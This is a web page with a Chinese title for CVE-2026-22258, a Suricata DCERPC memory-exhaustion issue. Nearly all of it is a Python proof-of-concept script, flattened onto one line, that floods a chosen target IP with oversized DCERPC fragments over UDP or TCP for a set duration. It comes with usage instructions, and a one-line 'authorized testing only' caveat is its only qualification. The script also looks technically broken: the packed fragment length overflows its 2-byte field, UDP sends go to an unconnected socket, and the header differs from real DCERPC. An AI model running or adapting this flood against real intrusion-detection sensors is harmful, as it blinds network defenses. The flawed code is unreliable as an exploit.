CVE-2026-22258 Suricata DCERPC内存耗尽漏洞

#!/usr/bin/env python3 """ CVE-2026-22258 PoC - Suricata DCERPC Memory Exhaustion This PoC demonstrates sending crafted DCERPC traffic to trigger memory exhaustion. Note: For authorized security testing only. """ import socket import struct import random def create_dcerpc_fragment(is_last_frag=True, data_size=4000): """Create a DCERPC fragment with oversized data""" # DCERPC Fragment header (16 bytes) version = b'\x05' packet_type = b'\x00' # Bind or Alter context packet_flags = b'\x03' if is_last_frag else b'\x01' # Data representation endian = b'\x10' # Little-endian # Fragment length (including header) frag_length = 16 + data_size # Auth length (no auth) auth_length = b'\x00\x00' # Call ID call_id = struct.pack('<I', 1) # Fragment header header = version + packet_type + packet_flags + endian header += struct.pack('>H', frag_length) # Big-endian for length header += auth_length + call_id # Payload - oversized data to exhaust memory payload = header + (b'\x41' * data_size) return payload def exploit_cve_2026_22258(target_ip, target_port=135, protocol='udp', duration=60): """ Send crafted DCERPC packets to exhaust Suricata memory Args: target_ip: Target Suricata sensor IP target_port: DCERPC port (135 for SMB, 49152+ for dynamic) protocol: 'udp' or 'tcp' duration: Attack duration in seconds """ print(f"[*] Starting CVE-2026-22258 exploit against {target_ip}:{target_port}") print(f"[*] Protocol: {protocol.upper()}") if protocol.lower() == 'udp': sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) else: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) import time start_time = time.time() packet_count = 0 try: while time.time() - start_time < duration: # Create oversized DCERPC fragments payload = create_dcerpc_fragment(is_last_frag=False, data_size=65535) try: sock.send(payload) packet_count += 1 if packet_count % 100 == 0: print(f"[*] Sent {packet_count} packets...") except Exception as e: print(f"[!] Send error: {e}") break time.sleep(0.01) # Small delay finally: sock.close() elapsed = time.time() - start_time print(f"[*] Attack completed. Sent {packet_count} packets in {elapsed:.2f}s") if __name__ == '__main__': import sys if len(sys.argv) < 2: print("Usage: python3 cve_2026_22258_poc.py <target_ip> [port] [protocol]") print("Example: python3 cve_2026_22258_poc.py 192.168.1.100 135 udp") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 135 proto = sys.argv[3] if len(sys.argv) > 3 else 'udp' exploit_cve_2026_22258(target, port, proto)